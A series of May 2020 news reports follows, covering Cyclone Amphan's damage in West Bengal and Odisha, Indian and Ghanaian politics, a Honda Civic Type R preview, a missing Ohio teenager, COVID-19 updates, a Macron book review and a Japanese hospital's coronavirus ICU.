"I have never seen anything like this in my life. There was severe disruption in electricity supply, even I did not have electricity at my home. Mobile connectivity has also been disrupted, but don't worry, everything will be alright," she said.

Meanwhile, Modi has landed at Kolkata airport, officials said. On Friday morning he took off from Delhi to undertake an aerial survey of West Bengal and Odisha and see for himself the damage caused by Amphan.

"He will conduct aerial surveys and take part in review meetings, where aspects of relief and rehabilitation will be discussed," the Prime Minister's Office (PMO) said in a statement on Thursday night.

After West Bengal, Modi will fly onwards for an aerial survey of Odisha.

The cyclone also caused widespread devastation in Odisha, damaging power and telecom infrastructure in several coastal districts.

The cyclonic storm triggering gusty winds up to 190 kmph and rain battered West Bengal and coastal Odisha on Wednesday evening, flattening makeshift houses and uprooting electric poles and trees. Enditem
Members of the New Patriotic Party (NPP) in the Tro-bu Constituency have protested the disqualification of Edward Lincoln Addo from the partys upcoming parliamentary primaries in the Constituency.



They have therefore sent a petition to President Nana Akufo-Addo, registering their displeasure over the disqualification.



Reading out the petition to the media on Thursday, May 21, 2020, a polling station Executive within the Constituency, Albert Assumadu, says the constituents were requesting for the Presidents intervention to reverse the disqualification decision.



He says it was key for the President to act in order to prevent aparthy fomenting among party members during the 2020 parliamentary and presidential elections.



He stated that they will support any candidate who emerges victorious in the primaries through a democratic process and not through disqualification.



He expressed disappointment in the Greater Accra vetting committee for disqualifying Edward Lincoln Addo.



He recounted that the skirt and blouse reared its ugly in the Constituency in 2020, with then presidential candidate Akufo-Addo garnering 50,000 and the incumbent MP managing 48,000 votes.



He said if care is not take the NPP could lose the Tro-bu seat.

Source: Daily Guide









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Last year, we learned that Honda would be wrapping up production of the Honda Civic hatchback in the U.K. in 2021, and production would move to North America for the next generation. This meant that we were probably only a couple of years away from a new model being revealed. That seems even more likely now that a next-generation 2022 Honda Civic Type R has been caught by one of our spy photographers.

It maintains a number of Type R basics from the current model. It has very wide bodywork, a black mesh grille, aggressive front fascia, and of course a gigantic rear wing. But there are some major changes, too. The body looks to be lower and longer. The hatch has a gentler descent to the stubby deck, and it loses the split rear window. All of these cues give it a bit of a coupe-like appearance. The car's surfacing is cleaner, too, and the rear bumper looks pretty much devoid of fake vents, though there is a provision for a center exhaust tip. Returning to the front, the headlights look lower and not as swept back, but they still have an LED array similar to the current car.

We also get a glimpse of the interior. There's now a screen sticking up away from the dash. It doesn't look as well integrated as the current car. If it means we're finally getting the newer, better infotainment from Honda like that in the Accord, it will be worth it. Also, there's still a volume knob, and it looks even bigger than the one on current models. We can also see the trademark red seats make a return.

Looking closely, it seems the Type R will continue to be front-wheel drive. We can see bits of the rear suspension and their mounting points, and we don't see any evidence or a rear driveshaft. The exhaust seems to run right down the center, too, where a rear driveshaft would need to go. Though we can't see an actual tire width, this car's tires look even wider than the 245-mm tires of the 2020 car. We expect the car will continue to be turbocharged, but it's hard to say with any certainty whether it will use an updated version of the turbocharged 2.0-liter engine, or a completely new design and displacement.

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With production of the current Honda Civic hatchback wrapping up in the U.K. in 2021, we would expect a next-generation car to be shown at a similar time, hence the 2022 model year. Further backing this timeline up is that the current-generation Civic will be five years old, having been introduced for the 2016 model year. That would make it one of the older cars in the segment, and ripe for a replacement.

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Kolkata: Prime Minister Narendra Modi on Friday conducted an aerial survey of Cyclone Amphan-hit areas in West Bengal along with Chief Minister Mamata Banerjee and then landed in Bashirhat.

A high-level meeting will be held between the two leaders at Basirhat College now. PM Modi, West Bengal CM, states Chief Secretary and ministers and secretaries of concerned state departments will attend the meeting.

The PM earlier arrived in Kolkata on Friday to take stock of the situation in West Bengal, which has been devastated by Cyclone Amphan.

Prime Minister Narendra Modi arrived in Kolkata on Wednesday to take stock of the situation in West Bengal, which has been devastated by Cyclone Amphan. PM Modi arrived at the Kolkata airport at 10.50 AM and was received by Chief Minister Mamata Banerjee, Governor Jagdeep Dhankhar and senior state BJP leaders.

According to official sources, Banerjee first held a short meeting with the Prime Minister, during which she briefed him about the ground situation.

"Later, they left on a chopper for the aerial survey," a West Bengal government official said. The two leaders are also later scheduled to hold a review meeting on the post-Cyclone situation.

"He will conduct an aerial survey and take part in review meetings, where aspects of relief and rehabilitation will be discussed," the PMO had said in a tweet on Thursday night.

According to TMC sources, the Chief Minister is likely to demand a financial package for the state. Banerjee has already demanded that the cyclone be declared as a national disaster.

The death toll due to powerful Tropical Cyclone Amphan, which left a trail of massive destruction and loss of lives in West Bengal before moving to Bangladesh, has risen to 80 on Friday. Out of the 80 deaths reported so far in West Bengal, 19 were reported in Kolkata alone.

Addressing a press conference on Thursday, Chief Minister Mamata Banerjee had said the devastating storm left at least 72 people dead and many homeless besides snapping electricity, internet connection and other communication tools in large parts of the state.

Speaking at the state secretariat Nabanna, Banerjee said, "The total number of deaths due to cyclone Amphan stands at 72, and 15 in Kolkata. The loss is huge. It`s worse than the coronavirus pandemic."

Banerjee said that most of the connectivity network across the state has gone for a toss during the six-hour-long nature`s fury the region witnessed on Wednesday evening.

"I have requested the Prime Minister to pay a visit to the affected areas of the state, mainly the coastal districts situated along the Bay of Bengal and its surrounding areas," she said, adding that everything has been ruined by the cyclone.

"We will soon start the restoration work. There have large scale power cuts in many areas of Kolkata and North and South 24 Parganas, while telephone and mobile connections are also down in many parts," Banerjee said.

Cyclone Amphan crossed the West Bengal-Bangladesh coast between East Midnapore, Digha and Hatiya Islands in Bangladesh across the Sunderban region on Wednesday evening with a wind speed of 155-165 kmph gusting to 185 kmph.

The cyclonic spell also left the Netaji Subhas Chandra Bose International (NSCBI) airport in complete disarray with a portion of it found damaged due to the severe storm and heavy rainfall.

Many neighbourhoods of Kolkata and its twin district Howrah were severely waterlogged as the regions witnessed heavy rains and a massive gush of wind storms that damaged the roofs of several buildings and uprooted a number of trees and electric poles.

Cyclone Amphan left a huge trail of damage in Kolkata`s neighbouring South and North 24 Parganas districts. 'Mobile and cable networks continued to remain unstable in Kolkata and Howrah even on Thursday.

The Chief Minister also took to Twitter to express her feelings.

"Cyclone Amphan has left a trail of devastation beyond our thoughts. While the material damage is substantial, Bengal stands united in this time of crisis. Together we will overcome this because nothing can dampen the spirit and strength of the people of Bengal," she had tweeted.
The Chardham Devasthanam Board on Friday decided to set up a tribunal to address the problems of temple priests and "haq haqukdharis", besides building a museum to preserve ancient manuscripts and other historically significant items at temples governed by the board.

The decisions were taken in the first meeting of the newly constituted board and it was chaired by Chief Minister Trivendra Singh Rawat here.

"It has been decided to set up a tribunal to hear the suggestions or grievances of priests and the hak hakookdharis," Rawat said soon after chairing the meeting.

Priests and hak hakookdharis were opposed to the constitution of the board when it was created through a legislation passed by the state assembly a few months back as they felt insecure about their traditional rights over the temples.

The board was constituted to manage the affairs of 51 temples in Uttarakhand, including the famed Himalayan temples of Badrinath, Kedarnath, Gangotri and Yamunotri.

The meeting also discussed in detail how to streamline the chardham yatra amid circumstances created by the coronavirus, Rawat said.

It was also decided to build a museum to preserve ancient manuscripts and other historically significant items kept at the temples under the purview of the board, he said.

Rawat said a provision of Rs 10 crore will also be made to the board.

The chief minister also said several temple committees could join the board in the future. "Several temple committees have expressed their willingness to join the board and may become part of it in future," he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The congress is normally a symbolic annual gathering of the countrys political elite. This year, the symbolism matters more than usual. Xi Jinping, Chinas top leader, has sought to project strength as the government tries to revive the economy, restart schools and businesses and claim credit for largely ending the epidemic that spread from Wuhan in central China.

Premier Li Keqiang, who is second-ranked in the Communist Party hierarchy behind Mr. Xi, made his speech to nearly 3,000 congress delegates who wore masks as they sat in neat rows in the ornate Great Hall of the People. He pledged to help blunt the impact of the slowdown with goals to limit inflation and unemployment.

At present and for some time to come, China will face challenges like never before, he said. However, we have unique political and institutional strengths, a strong economic foundation, enormous market potential and hundreds of millions of intelligent and hardworking people.

The horizons for Chinas development are full of promise, Mr. Li said.

The congress also outlined the partys plan, disclosed in a surprise move on Thursday night, for new laws in Hong Kong to prevent and punish secession, subversion and foreign infiltration that it has blamed for fueling unrest in the city. The legislation would also allow the mainlands feared security agencies to set up their operations publicly in Hong Kong for the first time, instead of operating on a limited scale in secrecy.
By Trend

Georgian Minister of Economics and Sustainable Development Natia Turnava discussed economic cooperation with Ambassador of Hungary to Georgia Victoria Horvath, Trend reports via the ministry.

The meeting was also attended by deputy ministers Gennadi Arveladze and Irakli Nadareishvili, as well as the head of the National Tourism Administration Mariam Kvrivishvili.

Particular attention was paid to the restoration of direct air links between the two countries, as well as to cooperation in the implementation of safe standards in the field of tourism and the creation of a bilateral green corridor.

At the meeting, Turnava informed the Hungarian ambassador about Georgias successful efforts to prevent the spread of the COVID-19 pandemic.

The Hungarian ambassador expressed interest in the steps taken by Georgia to prevent the spread of the pandemic in the field of tourism, and hope that tourist flows between Georgia and Hungary would be restored soon.

Georgia is coping well with the problems of the coronavirus pandemic. We positively evaluate the initiatives of the Government of Georgia. We will be one of the first countries to send business and tourists to Georgia, said the Hungarian ambassador.

The participants also discussed the issue of concluding an agreement on investment and mutual defense between the two countries, which will contribute to bilateral economic cooperation.

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Punjab Food minister Bharat Bhushan Ashu on Friday condemned the Centre for its arbitrary decision to delink the commission of 'arthiyas' (commission agents) from the Minimum Support Price (MSP).

Ashu said the step will create hindrances in the ongoing smooth procurement process of agricultural produce in the country and asked the Centre to revoke the decision.

At present two and half per cent commission is paid for services rendered in connection with sale and purchase of agriculture produce under rule of Punjab Agriculture Produce Markets (General) Rules, 1962 to arthiyas, said Ashu in an official release here.

The commission of arhtiyas in Punjab is part of statutory charges, so it cannot be delinked from MSP till the provisions under rules are amended by the legislature, he claimed.

In his letter to Union Food Minister Ram Vilas Paswan, Ashu said, You are aware that the state is already passing through financial constraints due to COVID-19 pandemic and the same is the case with the arthiyas.

They have made remarkable efforts in ensuring hassle free procurement despite constraints during curfew. They also followed health protocols about sanitisation of mandis and labourers and spent massive amount for this purpose. Due to their efforts, ongoing procurement process is running smoothly, he said.

Meanwhile, president of Arthiyas Association, Vijay Kalra met Ashu over the issue and urged him to take it up with the Centre.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Police on Thursday released images of a man they want to identify in the hunt for missing Ohio teen Madison Bell.

Madison Bell, 18, was last seen leaving her home in Ross County on Sunday morning to go to a tanning salon. Her car was later found in a church parking lot, unlocked and with the missing teen's phone inside and the keys still in the ignition.

The Highland County Sheriffs Office said the male may have information regarding the 18-year-old's disappearance.

Police say the man 'is attached' to a white sedan with California plates 'believed to have been at the location Maddie left her car at.'

A church worker told police the white four-door vehicle they saw in the lot stood out as there were no services due to COVID-19.

They said a white male stood near the vehicle, which they believed to have California license plates. The image released by police was taken at a nearby business.

Police on Thursday released this image of a man they want to identify in the hunt for missing Ohio teen Madison Bell. Police say the man 'is attached' to a white sedan with California plates 'believed to have been at the location Maddie left her car at'

Madison Bell is described as a white female, weighing 120lbs and standing at 5 feet 6 inches in height, with brown eyes and brown hair. She has grey contact lenses, a cross tattoo on her neck, and a ghost tattoo on her side

Police also released images of the white car, writing: 'Investigators are interested in identifying the individual in the below photos. This individual may have information related to the disappearance of Madison Bell from Highland County on May 17'

Highland County Sheriff Donnie Barrera said: 'There's no reason, so far, that we found, why she would've pulled into that parking lot.'

'Nothing disheveled or looked like it had been rummaged through or anything like that', he said of her car.

Police also released images of the white car, writing: 'Investigators are interested in identifying the individual in the below photos. This individual may have information related to the disappearance of Madison Bell from Highland County on May 17.'

Gov. Mike DeWine urged anyone with information to come forward in his briefing Thursday and the FBI also joined the search for Madison.

Madison Bell, 18, was last seen leaving her home in Ross County on Sunday morning to go to a tanning salon. Her car was later found in a church parking lot, unlocked and with the missing teen's phone inside and the keys still in the ignition

Bell (pictured with her live-in boyfriend of five years, left), was set to graduate on Sunday afternoon. Her mother said she would not have missed it

Madison's mother, Melissa Bell (left), and her boyfriend, Cody Mann (right), drove to the church and found her car unlocked, with her phone inside

The high school senior vanished on Sunday morning just hours before her graduation.

Her mother, Melissa Bell, said she last saw Madison at home at 10.30am on Sunday before the senior left to go to her tanning appointment ahead of her graduation at McClain High School.

Tanning businesses had just reopened in Ohio last Friday following the coronavirus lockdown.

When Madison, known to her family and friends as 'Maddie,' did not return home after about an hour, her mother started texting and calling her, but received no response.

Bell insisted her daughter would never leave her family and friends, especially during graduation week.

'She would always contact me even if she was going to be five minutes late,' the distraught mother said.

Cody Mann, Madison's boyfriend of five years, broke down in tears pleading for her safe return during an interview with Fox19.

'Shes the most loving girl Ive ever seen in my life. I mean, I cant even explain it... I just want her to come home,' he said through sobs.

Ill see you when you get back is the last thing I got to say', he added.

Bell's car was found abandoned with the keys still in the ignition in the parking lot of the Good Shepherd Church in Highland County (pictured)

Madison Bell, 18 (left and right), was last seen leaving her home in Ross County, Ohio, on Sunday night. She was heading to a tanning salon, but she never made it there

More than 300 volunteers came out to search for Madison on Sunday and Monday, spending thousands of man-hours scouring trails and woods, and distributing flyers.

Concerned that Madison may have gotten into a car accident, Bell and Mann drove to the Good Shepherd Church parking lot near the Corner Market tanning salon, where they found her car.

'The windows are up, we open the door, her phone is laying in it, her keys in the ignition, the change is in the container she had. The car was left unlocked,' the mother recounted to WHIO. 'She would never leave her car unlocked, she would never leave her phone in there.'

Bell said she tried to unlock Madison's phone but was unable to and handed it over to law enforcement.

Madison Bell is described as a white female, weighing 120lbs and standing at 5 feet 6 inches in height, with brown eyes and brown hair. She has grey contact lenses, a cross tattoo on her neck, and a ghost tattoo on her side.

She was last seen wearing a T-shirt, brown sandals, black leggings or Star Wars pants, and a black North Face Jacket.

Anyone with information on her whereabouts is asked to call the Highland County Sheriffs Office at (937) 393-1421.
Coronavirus: The latest updates from Spain and around the world Coronavirus Tuesday's news on the global pandemic

That is all for today. Be sure to join us tomorrow for all the latest coronavirus news. Stay safe!

20:33. Canada and the United States have reached an agreement to keep their border closed to all traffic considered non-essential until at least June 21.

19:06. Barcelona City Council has ruled out and will not allow Barcelona residents to lie in the sun on the beaches this week, as the city is still in an advanced Phase 0.

18:43. The UK has reported 545 new deaths from coronavirus, taking the total death toll to 35,341.

18:35. Italy has registered 162 deaths from coronavirus in the last 24 hours, with 813 new infections.

17:40. Global lockdown, which reached a peak on April 7, has brought about a reduction of 17 percent in global carbon emissions, the lowest level since 2006.

17:03. The 73rd Annual Assembly of the World Health Organization has approved that its management of the COVID-19 pandemic be evaluated in the future amid criticism from countries such as the United States for the decisions made by the body in the health crisis.

16:57. The daily death toll in Spain has risen in the last 24 hours to 83 from 59 on Monday.

16:44. Prisoners in Morocco are producing 20,000 face masks per day.

15.31. Polish airline LOT will continue to cancel international flights until June 14, even though it plans to resume domestic routes as of June 1.

15:24. Aena airports operated 806 essential flights during Spain's state of emergency, of which 465 were for repatriation of Spaniards and return of foreign nationals, while 341 were for the transportation of medical supplies.

14:10. The Community of Madrid has registered 92 new infections of coronavirus, 87 more than Monday, and the number deaths also rose to 31.

12:12. France will have a 14-day "voluntary quarantine" starting Wednesday for travellers arriving in the country from outside the European Union, as announced by the French Minister of Foreign Affairs.

10:00. Russia has 9,263 new cases, bringing the total number of infections in the country to 299,941. It is the fourth day in a row that the number has been below 10,000.

08:50. Germany reports that the number of cases has increased by 513 in the past 24 hours, taking the total to 175,210, according to data from the Robert Koch Institute.

06:54. Following 13,140 new cases of coronavirus in the last 24 hours, Brazil is the country with the third highest number of infections worldwide, with a total of 254,220.

06:40. China has reported six new cases of coronavirus, three of them coming from abroad, in the last 24 hours.

06:23. Donald Trump has threatened to permanently withdraw US funds from the WHO and leave the organization. "If you do not commit to major improvements in the next 30 days, I will make my temporary suspension of funds to WHO permanent and reconsider our membership in the agency," he wrote.
A state lawmaker has blasted New York and New Jersey for rejecting a permit for a pipeline that would supply Pennsylvania natural gas to Queens, Brooklyn and parts of Long Island.

Our neighboring states thumb their nose at Pennsylvania gas and embrace the purchase of gas from Eastern Europe, state Sen. Gene Yaw said Friday.

He was reacting to the New York Department of Environmental Conservation and New Jersey Department of Environmental Protection rejection of the $1 billion Williams Transco Northeast Supply Enhancement Project.

Regulators in both states issued their denials May 15 claiming the project that includes a 23-mile section under Raritan Bay fails to meet water quality standards and would significantly impact the environment.

The New York rejection was done in such a way Williams could submit a revised permit application.

Yaw, chairman of the Senate Environmental Resources and Energy Committee, said those actions have stalled infrastructure development that is vital to creating new markets for Pennsylvania natural gas and related liquids."

He added, The lack of pipeline development is also contributing to the large price disparity that is putting Pennsylvania gas producers at a disadvantage while aiding our global natural gas competitors.

The lawmaker encouraged New York and New Jersey leaders to take a realistic look at where their energy needs stand and the implications of the choices they are making.

If built, the project will provide customers access to an additional 400 million cubic feet of natural gas a day that Williams says would serve the daily needs of about 2.3 million homes.

It will provide service to the National Grid, the largest distributor of natural gas in the Northeast, that Williams says has experienced significant growth much of which is due to continued conversion from oil heat.

Yaw also took a swipe at Gov. Wolf for pushing to join New York and New Jersey in participating in the Regional Greenhouse Gas Initiative (RGGI).

Under that initiative, those states stand to benefit from our power generation while telling us how to produce that power, he said.

To participate in RGGI is to ignore the positive environmental impacts that are taking place right here in Pennsylvania, which include a dramatic reduction in carbon emissions over the past two decades.

Yaw cited U.S. Energy Information Administration data that shows carbon monoxide emissions from the states electric power sector have declined by 36 percent since 2010 in large part due to the increased use of natural gas for generation.

Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work.
K. Paul Gomel is a technology consultant who was born in India, completed his education in England, and now lives with his family on the East Coast, where he pursues his interest in ancient cultures, astronomy, space technology, innovative puns, and fitness. He has published his new book Alien Entanglement: Panspermia to Kali Yuga: a riveting adventure that keeps the pages turning until the stunning conclusion.

Gomel writes, She looks down at Earth through the front portal of her space craft, excited that she will soon be arriving home. She wants her last days to be spent on Earth even though she has never been there before. She does not have a human body and she has never seen a complete human being. The most human thing about her is her brain. It is very frustrating to her that she cannot communicate in a spoken or written language.

What if her spaceships are being followed? She nervously checks the rear portal for evidence of pursuing enemy ships. She is conflicted, she wants to go to Earth to see her people and protect them. But the journey there may end up with its destruction if the enemy knows where her spacecrafts are heading. If Earth is to survive, the enemy cannot know of the experiments conducted there a very long time ago. At any cost she will not allow the humans to suffer the same horrible fate that she has had to endure all her life. Her inaction may cause the purging of the human essence from her people. She must act fast - there is very little time before her masters arise.

She must quickly come up with a plan that will leave the humans as they are  alive and human. First, she will have to recruit a few others like her while keeping her hibernating masters oblivious to her scheme. Fortunately, she is in charge while her masters hibernate. After the plan has been communicated to her recruits, she must not think about it anymore. After all, when the masters awaken, they will instinctively know something is wrong.

This is the backdrop to an exciting journey about alien-human entanglement. Human characters, using alien implanted communication methods, become the mediators between two warring alien nations. A page turner with a difference, it explores the humanness in a way that has not yet been done before.

Ultimately, will the humans be able to stop the aliens from annihilating each other and demolishing Earth in the process?

Humans are computers with viruses, only this virus is different

A timely fictional work in this era of ridding ourselves of viruses, except that in this case we want to hold on to it.

Published by Page Publishing, K. Paul Gomels engrossing book is an excellent choice for avid science fiction readers.

Readers who wish to experience this engaging work can purchase Alien Entanglement: Panspermia to Kali Yuga at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble.

For additional information or media inquiries, contact Page Publishing at 866-315-2708.

Links to purchasing options available at http://www.PagePublishing.com or at the portal http://www.AlienEntanglement.com (where you will periodically find updates by the author).

About Page Publishing:

Page Publishing is a traditional, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not mired in logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and so on. Pages accomplished writers and publishing professionals allow authors to leave behind these complex and time-consuming issues to focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com.
The Last President of Europe

By William Drozdiak

PublicAffairs. 242 pp. $28

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The coronavirus crisis is challenging the European Union to the core. Reports of belated cooperation to counter the pandemic and regional divisions in tackling the economic fallout have dominated the narrative.The announcementMonday of a Franco-German agreement on a proposed 500 billion-euro recovery fund was rightly hailed as a "historic step" toward a stronger European response. But the deeper vulnerabilities underscored in these past months will remain. After a decade of crises, the E.U. seems like it will emerge from this moment more vulnerable, and the risk of a new upsurge in euroskepticism, especially in hard-hit countries like Italy, is high.

Some new books will be rendered instantly obsolete by the pandemic, others only more relevant to understanding the world to come. William Drozdiak's "The Last President of Europe: Emmanuel Macron's Race to Revive France and Save the World" belongs in the latter category. Drozdiak outlines the urgency of the French president's vision for a united and sovereign Europe and the high obstacles it faces. The pandemic places greater importance on both the vision and the hurdles.

Drozdiak chronicles the first three years of Macron's activities on the domestic and international fronts. His portrait is aided by interviews with the main protagonists, including Macron himself. The French president seeks the twin objectives of modernizing France's economy and enhancing the European project. "He ran for the presidency convinced that he could restore his nation's grandeur only as part of a larger crusade to fortify Europe as a global power that could compete on the same level as the United States, China, and Russia," Drozdiak writes.

But Macron is no naive Euro enthusiast, animated by the postmodern lure of open borders and post-national identities. His presidency is increasingly hawkish on immigration. His rhetoric is haunted by a quasi-apocalyptic fear that "Europe could disappear," as he tells the author, in a world defined by an intensifying power competition between the United States and China. The Europe that Macron promotes is one based on realism and sovereignty: asserting power on the world stage, defending its interests, investing in strong borders and defense. Instead of merely opposing populists by emphasizing openness and tolerance, Macron seeks to capture the demand for protection and reshape it. "Sovereignty and protection from the shocks of the modern world could be achieved only by European countries working together, not as divided and isolated nation-states."

Macron has outlined this vision inspeeches and letters, most notably his 2017 Sorbonne speech on European sovereignty. In the address, Macron proposed a more integrated and robust euro zone, which would have better prepared Europe to withstand the pandemic shock. Since then, the French president has advocated for a global response to the coronavirus, having convened the Group of Seven early on, and stepped up calls for European solidarity in the face of the health and economic crisis. Aligned with southern Europe, Paris has pushed for the adoption of "coronabonds," euro-backed assets that would allow for common borrowing. In speech after speech, Macron has said that the pandemic reveals a new world and should open debates about European sovereignty in the medical supply chain, food security, digital privacy and military strategy.

But long-standing challenges persist. Macron's European partners - first and foremost Germany's prudent chancellor, Angela Merkel - are reluctant to embrace Paris's ambitions: "Macron was hoping that Merkel shared his sense of urgency about the need to get Europe moving again. . . . [He] also wanted to persuade Germany to reconsider its dogmatic views about austerity and balanced budgets and consider more innovative ways to spur growth across Europe."Merkel's agreement to the recovery fund spurred new momentum in the Franco-German partnership and hope for increased boldness in her last term. But it should not prevent Paris strategists from investing in new partnerships in the E.U., especially with Spain or Italy, which have emerged as strong voices for European cooperation in this crisis.

While it is a foreign policy book, "The Last President of Europe" also outlines Macron's domestic reforms: bringing much-needed flexibility to the famously rigid labor market, overhauling pensions, promoting entrepreneurship and modernizing the education system. But decades of political paralysis left strong inequalities and resistance to change among large chunks of the French electorate, embodied by the violent Yellow Jackets movement, "a troubling malaise in French society that had been festering for years," Drozdiak writes. The underperforming French economy had burdened Macron's predecessors on the international stage.

The task is greater today. At home, national leaders will have to answer for the economic costs of the measures to contain the pandemic, and France will suffer after seeing the first positive effects of reforms on unemployment numbers last year. On the international stage, leaders will have to reconcile the demand for greater protection and sovereignty with the urgent need to strengthen global cooperation and revamp multilateralism. Macron's France will be ready to offer solutions, but it will need partners abroad and support at home.

Macron's vision of Europe makes some Americans uncomfortable. Would this "sovereign" and "autonomous" Europe hedge between the United States and its competitors? Would it seek to drive the United States out of Europe? It's time to forgo such fears and support a more ambitious European agenda. Concerns about burden-sharing will only increase in the post-pandemic world. As countries on both sides of the Atlantic face an unprecedented economic crisis and the United States shifts its foreign policy priorities toward Asia (a trend that started under the previous administration), a united and resilient Europe, capable of defending its own security, is in the interest of the United States, even if that means occasional disagreements. A strong E.U. would be the best asset for the United States in its rivalry with China. It's time for American strategists to look to Paris.

---

Haddad is the director of the Future Europe Initiative at the Atlantic Council in Washington. He was the Washington representative of Macron's movement En Marche in 2017.
New Delhi: Interim Congress president Sonia Gandhi will on Friday chair a meeting of leaders of opposition parties over the plight of migrant workers and alleged dilution of labour laws. According to reports, around 17 opposition parties have agreed to participate in the meeting which will be held via videoconferencing at 3 PM on May 22

A statement issued by the Congress party said that the migrant labours were facing big problems despite various announcements and steps taken by the central and state governments.

Congress leader Sonia Gandhi had called West Bengal Chief Minister Mamata Bannerjee on Wednesday to show solidarity post-Cyclone Amphan and said that all the parties should come together to protest against the migrants issues.

Mamata Banerjee had assured to be present after undertaking the aerial survey of both the 24 Parganas with the PM.

Rendered jobless due to the coronavirus-induced lockdown, which began on March 25, and desperate to get home, thousands of migrant workers across the country have been marching on the state highways to their native places on foot, on bicycles or packed into trucks.

Notably, many of them have lost their lives in accidents in different parts of the country.

The Opposition has been criticising the Centre over its handling of the migrant crisis. The Congress and other opposition parties have also attacked the Centre for allowing BJP-ruled states of Uttar Pradesh, Madhya Pradesh and Gujarat to amend labour laws to lure foreign investors and to strip workers of their basic rights.

Last week, Congress leader Rahul Gandhi was seen interacting with a group of migrants in the national capital. Later, Union Finance Minister Nirmala Sitharaman attacked the Congress leader and called the stint as nothing but 'dramabaazi'.

Sitharaman attacked the Opposition party for playing politics on the issue and asked them to join the efforts of the government in helping migrants reach their native towns. "I am urging the opposition party very politely, folding my hands and requesting them here. We must all come together and help migrant labourers in this crisis," Sitharaman stated.

She also appealed to Sonia Gandhi with folded hands' to speak about migrant workers more responsibly.
A police inspector, Okoro Charles, has been arrested and is facing internal disciplinary procedures for allegedly killing a 28-year-old cleric in Igando area of Lagos.

The Lagos police spokesperson, Bala Elkana, said in a statement Thursday that the police officer was arrested in connection with a shooting incident in which one Fatai Oladipupo died.

The shooting occurred on Wednesday along Obabiyi, Igando road, Lagos.

The Lagos State Police Command has on 20/5/2020 arrested Inspector Okoro Charles attached to Ikotun Division.

The Inspector was arrested in connection with a shooting incident reported on 20/5/2020 at about 2205, along Obabiyi, Igando road, Ikotun which led to the death of one Fatai Oladipupo m 28 years old of Obabiyi area.

The Inspector is subjected to internal disciplinary procedures, known as Orderly Room Trial at the State Provost Department and if found guilty, he will be handed over to the State Criminal Investigation Department Yaba for prosecution in conventional Court, the statement reads.

Mr Elkana, a deputy superintendent of police, said the shooting incident is being investigated.

The Commissioner of Police, Hakeem Odumosu, condoles with the family and friends of the deceased and calls for calm. He assures them that justice will prevail, the spokesperson said.

Mr Elkana said members of the public will be updated on the outcome of the investigation
By Mari Saito

KAWASAKI, Japan, May 22 (Reuters) - Two paramedics jump out the back of an idling ambulance with Tokyo plates, carefully lowering an elderly woman on a stretcher. The patient, her small face covered with an oxygen mask, disappears behind St. Marianna's automatic doors.

Another suspected COVID-19 patient has arrived.

In the midst of a global pandemic, St. Marianna University Hospital, a Catholic institution in a working-class suburb south of Tokyo, has become synonymous with the virus.

In the three months since the first wave of sick passengers arrived from the cruise ship Diamond Princess, the hospital has treated some 40 people seriously ill with the disease, more than almost any other medical facility in Japan. It has even taken in patients when other hospitals turned them away.

Doctors have intubated patients in a tent set up in the carpark and performed tracheostomies in a saran-wrapped operation room. Nurses in full protective gear gather in groups of six to shift patients connected to a tangle of lifesaving machines. And hanging in the staff room is an illustration of "Amabie," a mythic Japanese creature thought to ward against plagues.

By most metrics, Japan has so far weathered the global pandemic better than many other countries. Infections haven't spiked here as in other countries, and new cases have slowed since mid-April. So far, Japan has confirmed 16,251 infections, and 777 people have died, out of a global death toll of more than 300,000 people.

But it hasn't always felt like success at St. Marianna, where every hallway and room inside the emergency and critical-care center has been allocated one of three colors: green, yellow and red. Daily life revolves around these boundaries now, with nurses and doctors moving between the world of waiting relatives wearing surgical masks in the "green" zone to the "red" ward, where they dress like astronauts, donning heavy-duty tyveks and HALO respirators.

Story continues

Yasuhiko Taira, a professor at the medical school here, says that when the first COVID-19 patients started arriving in February, he reminded staff members they had an obligation to take in coronavirus patients who had nowhere else to go.

"We told them, yes, there's a high chance you may get the virus, and since we're doctors, we can't do much about that," says Taira, 66, who previously ran the ICU. "If we ran away from this, who's going to do it?"

When St. Marianna was overwhelmed with patients early in the crisis, some private and public hospitals were still turning patients away for a number of reasons, including their lack of specialized staff and protective gear, with ICUs often citing their capacity constraints.

In April, Japan doubled the funds hospitals receive for taking in critical COVID-19 patients, easing the burden on places such as St. Marianna.

But over the period of several days spent with "Team C," a group tasked with caring for coronavirus patients at St. Marianna's ICU, there is a sense of resignation among the staff over what awaits them in the grueling months ahead, caring for patients who can seem on the verge of recovery, only to slip away a few days later.

"THE STRESS STARTS TO PILE ON"

It's 8 a.m. and doctors from the overnight shift step up one by one to a senior doctor on duty, reading off an array of numbers and acronyms that make up the various conditions of each of the 11 patients inside the ICU. Shigeki Fujitani strides down a cramped hallway toward the central nurse station, thumbing a well-worn cellphone and nodding at staff in blue and purple scrubs.

"We had one death this morning," says Fujitani, the 54-year-old director of the ICU, walking up to a large whiteboard divided into a grid with masking tape. The names of critical patients, all men in their 50s and 60s, are listed on the left, next to a condensed history of their time in the ward.

The dead man's name has already been removed from the chart. The three beds now available in the ICU will likely be filled by evening.

"It's common to see no change for weeks and then for the patient to not make it," Fujitani says later, pacing in his office.

He mentions an ICU doctor who died by suicide in New York after seeing dozens of coronavirus patients die in her hospital.

"Everyone is trying to cure the patient, and then when you can't  the stress starts to pile on after two, three months of this," he says.

"YOU CAN'T SEE THE END OF THIS"

Outside the sliding doors of the ICU, Naoya Kohamoto takes a deep breath.

"You can't see the end of this," says Kohamoto, 37, a nurse practitioner who joined the coronavirus team a month ago. "They just don't get better. You see data that says 80 percent of intubated patients don't make it, but you always hope it's not the case for your patient."

When doctors in the ICU sense a patient is nearing death, Kohamoto calls the patient's relatives and asks them to come to the hospital. Although they can't physically be close to their ill relative, they're able to talk to them over Facetime.

Wearing two layers of gloves, a face shield, a respirator mask and multiple plastic gowns, Kohamoto holds up an iPad to the unconscious patient so family members can share memories and say their farewell.

"I tell them their father is doing everything he can to still come home," he says. When a patient dies, Kohamoto holds the iPad up to the doctor writing the official death certificate.

